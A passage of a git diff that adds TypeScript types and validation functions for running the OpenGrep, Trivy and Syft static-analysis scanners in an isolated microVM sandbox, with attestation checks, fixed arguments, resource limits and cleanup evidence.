"RUNTIME_RULE_OR_DATABASE_UPDATE", + "PUBLIC_INTERNET_EGRESS", + "CLOUD_METADATA_ACCESS", "DIRECT_SOURCE_UPLOAD", "AI_FULL_REPOSITORY_ACCESS", "AUTO_FIX_PR_OR_MR" @@ -46,14 +161,32 @@ "tenantIdRequired": true, "scanRequestIdRequired": true, "repositoryBindingIdRequired": true, + "attemptIdRequired": true, + "sandboxIdRequired": true, + "workloadIdentityRefRequired": true, + "boundedMetadataOnly": true, + "scannerExitAndResourceMetadataRequired": true, "sandboxLifecycleEvents": [ - "planned", - "provisioning", - "ready", - "running", - "draining", - "terminated", - "failed" + "sandbox.ready", + "scanner.started", + "scanner.completed", + "scanner.failed", + "sandbox.cleanup_pending", + "sandbox.terminated", + "sandbox.cleanup_failed" + ], + "completionRequires": [ + "CREDENTIAL_REVOKED_AND_WIPED", + "SCANNER_PROCESSES_TERMINATED", + "WRITABLE_VOLUMES_DESTROYED", + "MICROVM_TERMINATED", + "RESULT_INGRESS_CLOSED", + "SIGNED_CLEANUP_EVIDENCE", + "FINAL_AUDIT_SIGNAL" ] + }, + "productionMockAnalysisAllowed": false, + "defaultRuntimeProvider": { + "mode": "FAIL_CLOSED_UNTIL_LIVE_MICROVM_ADAPTER_INSTALLED" } } diff --git a/packages/shared/src/index.ts b/packages/shared/src/index.ts index 8cc3776..d257a5d 100644 --- a/packages/shared/src/index.ts +++ b/packages/shared/src/index.ts @@ -13,3 +13,4 @@ export * from './types/deployment-operations'; export * from './types/sast-runtime'; export * from './types/sast-planning'; export * from './types/sast-fetch'; +export * from './types/sast-wrapper'; diff --git a/packages/shared/src/types/sast-wrapper.ts b/packages/shared/src/types/sast-wrapper.ts new file mode 100644 index 0000000..9681d57 --- /dev/null +++ b/packages/shared/src/types/sast-wrapper.ts @@ -0,0 +1,989 @@ +import type { + SastPreflightDecision, + SastRepositoryPreflightSelection, + SastRepositoryTreeEntry +} from './sast-fetch'; +import { + SAST_SCANNER_KINDS, + isSastScanPlanValid, + type SastProfileId, + type SastResourceLimits, + type SastScanPlan, + type SastScannerKind, + type ScannerExecutionStatus +} from './sast-runtime'; + +export const SAST_SCANNER_WRAPPER_SCHEMA_VERSION = 'sast-wrapper-v1' as const; +export const SAST_SCANNER_PLAN_DIGEST_VERSION = 'sast-scan-plan-v1' as const; +export const SAST_SANDBOX_ATTESTATION_VERSION = '1' as const; +export const SAST_SANDBOX_ATTESTATION_ISSUER = + 'aegisai-microvm-provisioner' as const; +export const SAST_SANDBOX_ATTESTATION_AUDIENCE = + 'aegisai-scanner-wrapper' as const; +export const MAX_SAST_SANDBOX_ATTESTATION_TTL_SECONDS = 5 * 60; +export const SAST_SANDBOX_CLEANUP_TIMEOUT_SECONDS = 60; +export const SAST_SCANNER_WORKSPACE_ROOT = '/workspace/repository' as const; +export const SAST_SCANNER_SELECTED_WORKSPACE_ROOT = + '/workspace/selected' as const; +export const SAST_SCANNER_OUTPUT_ROOT = '/workspace/output' as const; +export const SAST_SCANNER_ASSET_ROOT = '/opt/aegis/assets' as const; +export const SAST_SCANNER_WORKING_DIRECTORY = + SAST_SCANNER_OUTPUT_ROOT; + +export const SAST_SCANNER_RUNTIME_EVENT_TYPES = [ + 'sandbox.ready', + 'scanner.started', + 'scanner.completed', + 'scanner.failed', + 'sandbox.cleanup_pending', + 'sandbox.terminated', + 'sandbox.cleanup_failed' +] as const; +export type SastScannerRuntimeEventType = + (typeof SAST_SCANNER_RUNTIME_EVENT_TYPES)[number]; + +export interface SastSandboxRuntimePolicy { + sandboxProvider: 'MICROVM'; + isolationClass: 'HARDENED' | 'RESTRICTED'; + runAsNonRoot: true; + readOnlyRootFilesystem: true; + readOnlyRepository: true; + privateWritableOutput: true; + shellInterpolationAllowed: false; + customerEnvironmentAllowed: false; + customerExecutableConfigAllowed: false; + customerSuppressionConfigAllowed: false; + repositoryToolConfigDiscoveryAllowed: false; + packageInstallAllowed: false; + repositoryBuildAllowed: false; + dynamicExecutionAllowed: false; + runtimeAssetUpdateAllowed: false; + publicInternetEgressAllowed: false; + cloudMetadataAccessAllowed: false; + networkEgressPolicy: 'RESULT_INGRESS_AND_TELEMETRY_ONLY'; + resourceLimits: Readonly< + Pick< + SastResourceLimits, + | 'cpuMillicores' + | 'memoryMiB' + | 'ephemeralDiskMiB' + | 'processLimit' + | 'fileDescriptorLimit' + | 'maxFindings' + | 'maxArtifactBytes' + | 'maxArtifactRecords' + | 'maxStdoutStderrBytes' + | 'wallClockTimeoutSeconds' + > + >; +} + +export interface SastSandboxRuntimeAttestationClaims { + version: typeof SAST_SANDBOX_ATTESTATION_VERSION; + issuer: typeof SAST_SANDBOX_ATTESTATION_ISSUER; + audience: typeof SAST_SANDBOX_ATTESTATION_AUDIENCE; + tenantId: string; + repositoryBindingId: string; + scanRequestId: string; + attemptId: string; + attemptNumber: number; + sandboxId: string; + workloadIdentityRef: string; + planDigest: `sha256:${string}`; + canonicalScanKey: `sha256:${string}`; + fixedCommitSha: string; + profileId: SastProfileId; + profileDigest: `sha256:${string}`; + scannerSetDigest: `sha256:${string}`; + preflightAttestationRef: string; + preflightInventoryDigest: `sha256:${string}`; + policy: Readonly; + nonce: string; + issuedAt: string; + expiresAt: string; + attemptDeadlineAt: string; +} + +export interface SastSandboxRuntimeAttestation { + claims: Readonly; + signature: `sha256:${string}`; +} + +export interface SastScannerPreflightBinding { + pathPolicyVersion: string; + attestationRef: string; + inventoryDigest: `sha256:${string}`; + decision: Extract; +} + +export interface SastScannerRepositoryManifest { + scanner: SastScannerKind; + source: 'MICROVM_READ_ONLY_MOUNT'; + observedAt: string; + scannerInput: Readonly; + selection: Readonly; + entries: readonly SastRepositoryTreeEntry[]; +} + +export interface SastScannerInputBinding { + mode: 'FULL_REPOSITORY' | 'CONTENT_BOUND_PATH_ALLOWLIST'; + path: string; + sourceInventoryDigest: `sha256:${string}`; + readOnly: true; +} + +export interface SastScannerWrapperExecutionRequest { + plan: Readonly; + attemptId: string; + attemptNumber: number; + sandboxId: string; + workloadIdentityRef: string; + preflight: Readonly; + sandboxAttestation: Readonly; +} + +export interface SastScannerInvocation { + wrapperSchemaVersion: typeof SAST_SCANNER_WRAPPER_SCHEMA_VERSION; + scanner: SastScannerKind; + required: boolean; + executable: string; + args: readonly string[]; + environment: Readonly>; + workingDirectory: string; + scannerInputPath: string; + outputPath: string; + artifactSchema: 'OPENGREP_SARIF' | 'TRIVY_JSON' | 'CYCLONEDX_JSON'; + artifactSchemaVersion: string; + scannerVersion: string; + scannerImageDigest: `sha256:${string}`; + wrapperDigest: `sha256:${string}`; + ruleBundleDigest?: `sha256:${string}`; + vulnerabilityDatabaseDigest?: `sha256:${string}`; + scannerSetDigest: `sha256:${string}`; + profileId: SastProfileId; + profileDigest: `sha256:${string}`; + preflightAttestationRef: string; + preflightInventoryDigest: `sha256:${string}`; + sandboxPolicy: Readonly; +} + +export interface SastBoundedLogObservation { + byteSize: number; + contentDigest: `sha256:${string}`; + truncated: boolean; + secretRedactionApplied: true; +} + +export interface SastScannerResourceObservation { + cpuTimeMilliseconds: number; + peakMemoryBytes: number; + bytesRead: number; + bytesWritten: number; + peakProcessCount: number; + peakFileDescriptorCount: number; +} + +export interface SastScannerArtifactObservation { + artifactRef: string; + contentDigest: `sha256:${string}`; + byteSize: number; + recordCount: number; + truncated: boolean; +} + +export interface SastScannerProcessObservation { + scanner: SastScannerKind; + scannerVersion: string; + scannerImageDigest: `sha256:${string}`; + wrapperDigest: `sha256:${string}`; + ruleBundleDigest?: `sha256:${string}`; + vulnerabilityDatabaseDigest?: `sha256:${string}`; + scannerWorkspaceInventoryDigest: `sha256:${string}`; + exitCode: number; + terminationSignal?: string; + timedOut: boolean; + outputLimitExceeded: boolean; + startedAt: string; + completedAt: string; + stdout: Readonly; + stderr: Readonly; + resources: Readonly; + artifact?: Readonly; +} + +export interface SastScannerExecutionRecord { + scannerRunId: string; + attemptId: string; + invocation: Readonly; + status: ScannerExecutionStatus; + observation: Readonly; +} + +export interface SastScannerRuntimeExecutionResult { + tenantId: string; + repositoryBindingId: string; + scanRequestId: string; + attemptId: string; + attemptNumber: number; + sandboxId: string; + workloadIdentityRef: string; + stage: 'COMPLETED'; + scannerRuns: readonly SastScannerExecutionRecord[]; + cleanup: Readonly; + auditSignals: readonly SastScannerRuntimeAuditSignal[]; +} + +export interface SastSandboxCleanupObservation { + tenantId: string; + repositoryBindingId: string; + scanRequestId: string; + attemptId: string; + sandboxId: string; + workloadIdentityRef: string; + credentialRevokedAndWiped: boolean; + scannerProcessesTerminated: boolean; + writableVolumesDestroyed: boolean; + microVmTerminated: boolean; + resultIngressClosed: boolean; + completedAt: string; + nonce: string; +} + +export interface SastSignedSandboxCleanupObservation { + observation: Readonly; + signature: `sha256:${string}`; +} + +export interface SastScannerRuntimeAuditSignal { + eventId: string; + eventType: SastScannerRuntimeEventType; + tenantId: string; + repositoryBindingId: string; + scanRequestId: string; + attemptId: string; + sandboxId: string; + workloadIdentityRef: string; + scanner?: SastScannerKind; + scannerRunId?: string; + executionStatus?: ScannerExecutionStatus; + reasonCode?: string; + occurredAt: string; + metadataDigest: `sha256:${string}`; +} + +export function isSastSandboxRuntimePolicyValid( + policy: SastSandboxRuntimePolicy, + plan: SastScanPlan +): boolean { + if (!policy || !plan?.profile?.limits) { + return false; + } + const expectedLimits = scannerRuntimeLimits(plan.profile.limits); + return ( + hasOnlyKeys(policy, [ + 'cloudMetadataAccessAllowed', + 'customerEnvironmentAllowed', + 'customerExecutableConfigAllowed', + 'customerSuppressionConfigAllowed', + 'dynamicExecutionAllowed', + 'isolationClass', + 'networkEgressPolicy', + 'packageInstallAllowed', + 'privateWritableOutput', + 'publicInternetEgressAllowed', + 'readOnlyRepository', + 'readOnlyRootFilesystem', + 'repositoryBuildAllowed', + 'repositoryToolConfigDiscoveryAllowed', + 'resourceLimits', + 'runAsNonRoot', + 'runtimeAssetUpdateAllowed', + 'sandboxProvider', + 'shellInterpolationAllowed' + ]) && + policy.sandboxProvider === 'MICROVM' && + policy.isolationClass === plan.isolationClass && + (policy.isolationClass === 'HARDENED' || + policy.isolationClass === 'RESTRICTED') && + policy.runAsNonRoot === true && + policy.readOnlyRootFilesystem === true && + policy.readOnlyRepository === true && + policy.privateWritableOutput === true && + policy.shellInterpolationAllowed === false && + policy.customerEnvironmentAllowed === false && + policy.customerExecutableConfigAllowed === false && + policy.customerSuppressionConfigAllowed === false && + policy.repositoryToolConfigDiscoveryAllowed === false && + policy.packageInstallAllowed === false && + policy.repositoryBuildAllowed === false && + policy.dynamicExecutionAllowed === false && + policy.runtimeAssetUpdateAllowed === false && + policy.publicInternetEgressAllowed === false && + policy.cloudMetadataAccessAllowed === false && + policy.networkEgressPolicy === 'RESULT_INGRESS_AND_TELEMETRY_ONLY' && + hasOnlyKeys(policy.resourceLimits, Object.keys(expectedLimits)) && + sameRecord(policy.resourceLimits, expectedLimits) + ); +} + +export function buildSastScanPlanDigestPreimage(plan: SastScanPlan): string { + return canonicalJson({ + version: SAST_SCANNER_PLAN_DIGEST_VERSION, + plan + }); +} + +export function isSastScannerWrapperExecutionRequestValid( + request: SastScannerWrapperExecutionRequest +): boolean { + if ( + !request || + !hasOnlyKeys(request, [ + 'attemptId', + 'attemptNumber', + 'plan', + 'preflight', + 'sandboxAttestation', + 'sandboxId', + 'workloadIdentityRef' + ]) || + !hasOnlyKeys(request.preflight, [ + 'attestationRef', + 'decision', + 'inventoryDigest', + 'pathPolicyVersion' + ]) || + !hasOnlyKeys(request.sandboxAttestation, ['claims', 'signature']) || + !request.sandboxAttestation?.claims || + !hasOnlyKeys(request.sandboxAttestation.claims, [ + 'attemptDeadlineAt', + 'attemptId', + 'attemptNumber', + 'audience', + 'canonicalScanKey', + 'expiresAt', + 'fixedCommitSha', + 'issuedAt', + 'issuer', + 'nonce', + 'planDigest', + 'policy', + 'preflightAttestationRef', + 'preflightInventoryDigest', + 'profileDigest', + 'profileId', + 'repositoryBindingId', + 'sandboxId', + 'scannerSetDigest', + 'scanRequestId', + 'tenantId', + 'version', + 'workloadIdentityRef' + ]) || + !isSha256Digest(request.sandboxAttestation.signature) || + !isSastScanPlanValid(request.plan) || + !isBoundedIdentifier(request.attemptId, 255) || + !Number.isSafeInteger(request.attemptNumber) || + request.attemptNumber < 1 || + request.attemptNumber > 2 || + !isBoundedIdentifier(request.sandboxId, 255) || + !isBoundedIdentifier(request.workloadIdentityRef, 512) || + !request.preflight || + !request.sandboxAttestation + ) { + return false; + } + + return ( + isBoundedIdentifier(request.preflight.pathPolicyVersion, 255) && + request.sandboxAttestation.claims.version === + SAST_SANDBOX_ATTESTATION_VERSION && + request.sandboxAttestation.claims.issuer === + SAST_SANDBOX_ATTESTATION_ISSUER && + request.sandboxAttestation.claims.audience === + SAST_SANDBOX_ATTESTATION_AUDIENCE && + isSha256Digest(request.sandboxAttestation.claims.planDigest) && + /^[a-f0-9]{32}$/u.test(request.sandboxAttestation.claims.nonce) && + Number.isFinite( + Date.parse(request.sandboxAttestation.claims.issuedAt) + ) && + Number.isFinite( + Date.parse(request.sandboxAttestation.claims.expiresAt) + ) && + Number.isFinite( + Date.parse(request.sandboxAttestation.claims.attemptDeadlineAt) + ) && + request.sandboxAttestation.claims.tenantId === + request.plan.tenantId && + request.sandboxAttestation.claims.repositoryBindingId === + request.plan.repositoryState.repositoryBindingId && + request.sandboxAttestation.claims.scanRequestId === + request.plan.scanRequestId && + request.sandboxAttestation.claims.attemptId === request.attemptId && + request.sandboxAttestation.claims.attemptNumber === + request.attemptNumber && + request.sandboxAttestation.claims.sandboxId === request.sandboxId && + request.sandboxAttestation.claims.workloadIdentityRef === + request.workloadIdentityRef && + request.sandboxAttestation.claims.canonicalScanKey === + request.plan.canonicalScanKey && + request.sandboxAttestation.claims.fixedCommitSha === + request.plan.repositoryState.fixedCommitSha && + request.sandboxAttestation.claims.profileId === + request.plan.profile.id && + request.sandboxAttestation.claims.profileDigest === + request.plan.profileDigest && + request.sandboxAttestation.claims.scannerSetDigest === + request.plan.scannerSet.scannerSetDigest && + request.sandboxAttestation.claims.preflightAttestationRef === + request.preflight.attestationRef && + request.sandboxAttestation.claims.preflightInventoryDigest === + request.preflight.inventoryDigest && + request.preflight.attestationRef === + request.plan.repositoryState.attestationRef && + request.preflight.inventoryDigest === + request.plan.repositoryState.inventoryDigest && + (request.preflight.decision === 'ACCEPT' || + (request.preflight.decision === 'RESTRICTED_ESCALATION' && + request.plan.isolationClass === 'RESTRICTED')) && + isSastSandboxRuntimePolicyValid( + request.sandboxAttestation.claims.policy, + request.plan + ) + ); +} + +export function isSastScannerInvocationBoundToPlan( + invocation: SastScannerInvocation, + plan: SastScanPlan, + preflight: SastScannerPreflightBinding +): boolean { + if ( + !invocation || + !hasOnlyKeys(invocation, [ + 'args', + 'artifactSchema', + 'artifactSchemaVersion', + 'environment', + 'executable', + 'outputPath', + 'preflightAttestationRef', + 'preflightInventoryDigest', + 'profileDigest', + 'profileId', + 'required', + 'ruleBundleDigest', + 'sandboxPolicy', + 'scanner', + 'scannerInputPath', + 'scannerImageDigest', + 'scannerSetDigest', + 'scannerVersion', + 'vulnerabilityDatabaseDigest', + 'workingDirectory', + 'wrapperDigest', + 'wrapperSchemaVersion' + ]) || + !Array.isArray(invocation.args) || + !invocation.environment || + typeof invocation.environment !== 'object' || + Array.isArray(invocation.environment) || + !invocation.sandboxPolicy || + !isSastScanPlanValid(plan) || + !SAST_SCANNER_KINDS.includes(invocation.scanner) || + !plan.profile.requiredScanners.includes(invocation.scanner) + ) { + return false; + } + + const scanner = plan.scannerSet.scanners[invocation.scanner]; + const ruleBundles = plan.scannerSet.ruleBundles.filter( + (bundle) => bundle.scanner === invocation.scanner + ); + const ruleBundleDigests = ruleBundles.map((bundle) => bundle.digest); + const expectedOutputPath = expectedScannerOutputPath(invocation.scanner); + const expectedInputPath = expectedScannerInputPath(plan, preflight); + const expectedArgs = expectedScannerArguments( + invocation.scanner, + plan, + ruleBundles[0]?.digest, + expectedOutputPath, + expectedInputPath + ); + const expectedEnvironment = expectedScannerEnvironment( + invocation.scanner, + plan + ); + const expectedArtifactSchema = + invocation.scanner === 'OPENGREP' + ? 'OPENGREP_SARIF' + : invocation.scanner === 'TRIVY' + ? 'TRIVY_JSON' + : 'CYCLONEDX_JSON'; + + return ( + invocation.wrapperSchemaVersion === + SAST_SCANNER_WRAPPER_SCHEMA_VERSION && + invocation.required === true && + invocation.executable === + `/opt/aegis/scanners/${invocation.scanner.toLowerCase()}` && + sameArray(invocation.args, expectedArgs) && + sameRecord(invocation.environment, expectedEnvironment) && + invocation.scannerInputPath === expectedInputPath && + invocation.outputPath === expectedOutputPath && + invocation.artifactSchema === expectedArtifactSchema && + invocation.artifactSchemaVersion === + plan.scannerSet.schemaBundle.digest && + invocation.scannerVersion === scanner.version && + invocation.scannerImageDigest === scanner.digest && + invocation.wrapperDigest === scanner.wrapper.digest && + invocation.scannerSetDigest === plan.scannerSet.scannerSetDigest && + invocation.profileId === plan.profile.id && + invocation.profileDigest === plan.profileDigest && + invocation.preflightAttestationRef === preflight.attestationRef && + invocation.preflightInventoryDigest === preflight.inventoryDigest && + invocation.workingDirectory === SAST_SCANNER_WORKING_DIRECTORY && + invocation.outputPath.startsWith(`${SAST_SCANNER_OUTPUT_ROOT}/`) && + invocation.args.every( + (argument) => + typeof argument === 'string' && + argument.length > 0 && + !containsControlCharacter(argument) + ) && + Object.entries(invocation.environment).every( + ([key, value]) => + /^[A-Z][A-Z0-9_]{0,63}$/u.test(key) && + isBoundedIdentifier(value, 1024) + ) && + (invocation.scanner === 'SYFT' + ? invocation.ruleBundleDigest === undefined + : ruleBundles.length === 1 && + invocation.ruleBundleDigest !== undefined && + ruleBundleDigests.includes(invocation.ruleBundleDigest)) && + (invocation.scanner === 'TRIVY' + ? invocation.vulnerabilityDatabaseDigest === + plan.scannerSet.vulnerabilityDatabase.digest + : invocation.vulnerabilityDatabaseDigest === undefined) && + isSastSandboxRuntimePolicyValid(invocation.sandboxPolicy, plan) + ); +} + +export function isSastScannerProcessObservationValid( + observation: SastScannerProcessObservation, + invocation: SastScannerInvocation, + plan: SastScanPlan +): boolean { + if ( + !observation || + !invocation || + !plan || + !hasOnlyKeys(observation, [ + 'artifact', + 'completedAt', + 'exitCode', + 'outputLimitExceeded', + 'resources', + 'ruleBundleDigest', + 'scanner', + 'scannerImageDigest', + 'scannerVersion', + 'scannerWorkspaceInventoryDigest', + 'startedAt', + 'stderr', + 'stdout', + 'terminationSignal', + 'timedOut', + 'vulnerabilityDatabaseDigest', + 'wrapperDigest' + ]) || + observation.scanner !== invocation.scanner || + !SAST_SCANNER_KINDS.includes(observation.scanner) + ) { + return false; + } + const startedAt = Date.parse(observation.startedAt); + const completedAt = Date.parse(observation.completedAt); + const elapsed = completedAt - startedAt; + const limits = plan.profile.limits; + const artifact = observation.artifact; + return ( + observation.scannerVersion === invocation.scannerVersion && + observation.scannerImageDigest === invocation.scannerImageDigest && + observation.wrapperDigest === invocation.wrapperDigest && + observation.ruleBundleDigest === invocation.ruleBundleDigest && + observation.vulnerabilityDatabaseDigest === + invocation.vulnerabilityDatabaseDigest && + observation.scannerWorkspaceInventoryDigest === + invocation.preflightInventoryDigest && + Number.isSafeInteger(observation.exitCode) && + observation.exitCode >= -1 && + observation.exitCode <= 255 && + (observation.terminationSignal === undefined || + [ + 'SIGABRT', + 'SIGKILL', + 'SIGSEGV', + 'SIGTERM', + 'SIGXCPU', + 'SIGXFSZ' + ].includes(observation.terminationSignal)) && + typeof observation.timedOut === 'boolean' && + typeof observation.outputLimitExceeded === 'boolean' && + (!observation.timedOut || observation.exitCode === -1) && + (observation.terminationSignal === undefined || + observation.exitCode === -1) && + (observation.exitCode !== 0 || + (observation.terminationSignal === undefined && + observation.timedOut === false)) && + Number.isFinite(startedAt) && + Number.isFinite(completedAt) && + completedAt >= startedAt && + elapsed <= limits.wallClockTimeoutSeconds * 1000 + 1_000 && + isBoundedLog(observation.stdout, limits.maxStdoutStderrBytes) && + isBoundedLog(observation.stderr, limits.maxStdoutStderrBytes) && + ((!observation.stdout.truncated && !observation.stderr.truncated) || + observation.outputLimitExceeded) && + observation.stdout.byteSize + observation.stderr.byteSize <= + limits.maxStdoutStderrBytes && + isResourceObservationValid(observation.resources, limits) && + (artifact === undefined || + (artifact !== null && + hasOnlyKeys(artifact, [ + 'artifactRef', + 'byteSize', + 'contentDigest', + 'recordCount', + 'truncated' + ]) && + artifact.artifactRef === + `${plan.resultIngressRef}/${observation.scanner.toLowerCase()}` && + isBoundedIdentifier(artifact.artifactRef, 2048) && + isSha256Digest(artifact.contentDigest) && + Number.isSafeInteger(artifact.byteSize) && + artifact.byteSize > 0 && + artifact.byteSize <= limits.maxArtifactBytes && + Number.isSafeInteger(artifact.recordCount) && + artifact.recordCount >= 0 && + artifact.recordCount <= limits.maxArtifactRecords && + typeof artifact.truncated === 'boolean')) + ); +} + +export function deriveScannerExecutionStatus( + observation: SastScannerProcessObservation +): ScannerExecutionStatus { + if (observation.outputLimitExceeded || observation.artifact?.truncated) { + return 'QUARANTINED'; + } + if (observation.timedOut) { + return 'TIMED_OUT'; + } + if ( + observation.exitCode === 0 && + observation.artifact && + observation.artifact.byteSize > 0 + ) { + return 'SUCCEEDED'; + } + return 'FAILED'; +} + +export function scannerRuntimeLimits( + limits: SastResourceLimits +): SastSandboxRuntimePolicy['resourceLimits'] { + return { + cpuMillicores: limits.cpuMillicores, + memoryMiB: limits.memoryMiB, + ephemeralDiskMiB: limits.ephemeralDiskMiB, + processLimit: limits.processLimit, + fileDescriptorLimit: limits.fileDescriptorLimit, + maxFindings: limits.maxFindings, + maxArtifactBytes: limits.maxArtifactBytes, + maxArtifactRecords: limits.maxArtifactRecords, + maxStdoutStderrBytes: limits.maxStdoutStderrBytes, + wallClockTimeoutSeconds: limits.wallClockTimeoutSeconds + }; +} + +function isBoundedLog( + observation: SastBoundedLogObservation, + maximumBytes: number +): boolean { + return ( + observation !== undefined && + observation !== null && + typeof observation === 'object' && + !Array.isArray(observation) && + hasOnlyKeys(observation, [ + 'byteSize', + 'contentDigest', + 'secretRedactionApplied', + 'truncated' + ]) && + Number.isSafeInteger(observation.byteSize) && + observation.byteSize >= 0 && + observation.byteSize <= maximumBytes && + isSha256Digest(observation.contentDigest) && + typeof observation.truncated === 'boolean' && + observation.secretRedactionApplied === true + ); +} + +function isResourceObservationValid( + observation: SastScannerResourceObservation, + limits: SastResourceLimits +): boolean { + return ( + observation !== undefined && + observation !== null && + typeof observation === 'object' && + !Array.isArray(observation) && + hasOnlyKeys(observation, [ + 'bytesRead', + 'bytesWritten', + 'cpuTimeMilliseconds', + 'peakFileDescriptorCount', + 'peakMemoryBytes', + 'peakProcessCount' + ]) && + isNonNegativeSafeInteger(observation.cpuTimeMilliseconds) && + observation.cpuTimeMilliseconds <= + limits.wallClockTimeoutSeconds * limits.cpuMillicores && + isNonNegativeSafeInteger(observation.peakMemoryBytes) && + observation.peakMemoryBytes <= limits.memoryMiB * 1024 * 1024 && + isNonNegativeSafeInteger(observation.bytesRead) && + isNonNegativeSafeInteger(observation.bytesWritten) && + observation.bytesWritten <= limits.ephemeralDiskMiB * 1024 * 1024 && + isNonNegativeSafeInteger(observation.peakProcessCount) && + observation.peakProcessCount <= limits.processLimit && + isNonNegativeSafeInteger(observation.peakFileDescriptorCount) && + observation.peakFileDescriptorCount <= limits.fileDescriptorLimit + ); +} + +function sameRecord( + left: Readonly>, + right: Readonly> +): boolean { + const leftKeys = Object.keys(left).sort(); + const rightKeys = Object.keys(right).sort(); + return ( + leftKeys.length === rightKeys.length && + leftKeys.every( + (key, index) => + key === rightKeys[index] && Object.is(left[key], right[key]) + ) + ); +} + +function isNonNegativeSafeInteger(value: number): boolean { + return Number.isSafeInteger(value) && value >= 0; +} + +function isSha256Digest(value: unknown): value is `sha256:${string}` { + return ( + typeof value === 'string' && + /^sha256:[a-f0-9]{64}$/u.test(value) + ); +} + +function isBoundedIdentifier(value: string, maximumBytes: number): boolean { + return ( + typeof value === 'string' && + value.trim().length > 0 && + new TextEncoder().encode(value).byteLength <= maximumBytes && + !containsControlCharacter(value) + ); +} + +function containsControlCharacter(value: string): boolean { + return Array.from(value).some((character) => { + const codePoint = character.codePointAt(0) ?? 0; + return codePoint <= 31 || codePoint === 127; + }); +} + +function expectedScannerOutputPath(scanner: SastScannerKind): string { + if (scanner === 'OPENGREP') { + return `${SAST_SCANNER_OUTPUT_ROOT}/opengrep.sarif`; + } + if (scanner === 'TRIVY') { + return `${SAST_SCANNER_OUTPUT_ROOT}/trivy.json`; + } + return `${SAST_SCANNER_OUTPUT_ROOT}/syft.cdx.json`; +} + +function expectedScannerInputPath( + plan: SastScanPlan, + preflight: SastScannerPreflightBinding +): string { + return plan.profile.scope === 'CHANGED_FILES_WITH_CONTEXT' + ? `${SAST_SCANNER_SELECTED_WORKSPACE_ROOT}/${digestId( + preflight.inventoryDigest + )}` + : SAST_SCANNER_WORKSPACE_ROOT; +} + +function expectedScannerArguments( + scanner: SastScannerKind, + plan: SastScanPlan, + ruleBundleDigest: `sha256:${string}` | undefined, + outputPath: string, + scannerInputPath: string +): readonly string[] { + if (scanner === 'OPENGREP') { + if (!ruleBundleDigest) return []; + return [ + 'scan', + '-f', + `${SAST_SCANNER_ASSET_ROOT}/rules/opengrep/${digestId(ruleBundleDigest)}`, + `--sarif-output=${outputPath}`, + '--no-autofix', + '--disable-nosem', + '--no-git-ignore', + '--x-ignore-semgrepignore-files', + '--disable-version-check', + '--strict', + '--jobs=1', + `--max-memory=${plan.profile.limits.memoryMiB}`, + `--max-target-bytes=${plan.profile.limits.maxSingleFileBytes}`, + scannerInputPath + ]; + } + if (scanner === 'TRIVY') { + if (!ruleBundleDigest) return []; + const wrapperAssetRoot = scannerWrapperAssetRoot( + scanner, + plan.scannerSet.scanners.TRIVY.wrapper.digest + ); + return [ + 'filesystem', + '--config', + `${wrapperAssetRoot}/config.yaml`, + '--format', + 'json', + '--output', + outputPath, + '--scanners', + 'vuln,misconfig,secret', + '--cache-dir', + `${SAST_SCANNER_ASSET_ROOT}/trivy/${digestId( + plan.scannerSet.vulnerabilityDatabase.digest + )}/${digestId(ruleBundleDigest)}`, + '--ignorefile', + `${wrapperAssetRoot}/empty.trivyignore`, + '--secret-config', + `${SAST_SCANNER_ASSET_ROOT}/rules/trivy/${digestId( + ruleBundleDigest + )}/secret.yaml`, + '--show-suppressed', + '--timeout', + `${plan.profile.limits.wallClockTimeoutSeconds}s`, + '--parallel', + '1', + '--quiet', + '--no-progress', + '--offline-scan', + '--skip-db-update', + '--skip-java-db-update', + '--skip-check-update', + '--skip-vex-repo-update', + '--disable-telemetry', + '--skip-version-check', + scannerInputPath + ]; + } + const wrapperAssetRoot = scannerWrapperAssetRoot( + scanner, + plan.scannerSet.scanners.SYFT.wrapper.digest + ); + return [ + `dir:${scannerInputPath}`, + '--config', + `${wrapperAssetRoot}/config.yaml`, + '--output', + `cyclonedx-json=${outputPath}` + ]; +} + +function expectedScannerEnvironment( + scanner: SastScannerKind, + plan: SastScanPlan +): Readonly> { + const common = { + HOME: '/nonexistent', + LANG: 'C.UTF-8', + LC_ALL: 'C.UTF-8', + NO_COLOR: '1', + TMPDIR: `${SAST_SCANNER_OUTPUT_ROOT}/tmp`, + TZ: 'UTC', + XDG_CONFIG_HOME: '/nonexistent' + }; + return scanner === 'SYFT' + ? { + ...common, + SYFT_CHECK_FOR_APP_UPDATE: 'false', + SYFT_GOLANG_SEARCH_LOCAL_MOD_CACHE_LICENSES: 'false', + SYFT_GOLANG_SEARCH_REMOTE_LICENSES: 'false', + SYFT_GOLANG_USE_PACKAGES_LIB: 'false', + SYFT_JAVA_USE_NETWORK: 'false', + SYFT_JAVA_USE_MAVEN_LOCAL_REPOSITORY: 'false', + SYFT_JAVASCRIPT_SEARCH_REMOTE_LICENSES: 'false', + SYFT_LICENSE_CONTENT: 'none', + SYFT_LOG_QUIET: 'true', + SYFT_PACKAGE_SEARCH_INDEXED_ARCHIVES: 'false', + SYFT_PACKAGE_SEARCH_UNINDEXED_ARCHIVES: 'false', + SYFT_PARALLELISM: '1', + SYFT_PYTHON_SEARCH_REMOTE_LICENSES: 'false', + SYFT_FILE_CONTENT_SKIP_FILES_ABOVE_SIZE: + String(plan.profile.limits.maxSingleFileBytes) + } + : common; +} + +function digestId(digest: `sha256:${string}`): string { + return digest.slice('sha256:'.length); +} + +function scannerWrapperAssetRoot( + scanner: SastScannerKind, + wrapperDigest: `sha256:${string}` +): string { + return `${SAST_SCANNER_ASSET_ROOT}/wrappers/${scanner.toLowerCase()}/${digestId( + wrapperDigest + )}`; +} + +function sameArray( + left: readonly string[], + right: readonly string[] +): boolean { + return ( + left.length === right.length && + left.every((value, index) => value === right[index]) + ); +} + +function hasOnlyKeys(value: unknown, allowedKeys: readonly string[]): boolean { + if (!value || typeof value !== 'object' || Array.isArray(value)) { + return false; + } + const allowed = new Set(allowedKeys); + return Object.keys(value).every((key) => allowed.has(key)); +} + +function canonicalJson(value: unknown): string { + if (value === null || typeof value !== 'object') { + return JSON.stringify(value); + } + if (Array.isArray(value)) { + return `[${value.map((item) => canonicalJson(item)).join(',')}]`; + } + + const record = value as Record; + return `{${Object.keys(record) + .sort() + .filter((key) => record[key] !== undefined) + .map((key) => `${JSON.stringify(key)}:${canonicalJson(record[key])}`) + .join(',')}}`; +} diff --git a/packages/shared/test/shared-contract-exports.test.mjs b/packages/shared/test/shared-contract-exports.test.mjs index 70943c7..b8534a2 100644 --- a/packages/shared/test/shared-contract-exports.test.mjs +++ b/packages/shared/test/shared-contract-exports.test.mjs @@ 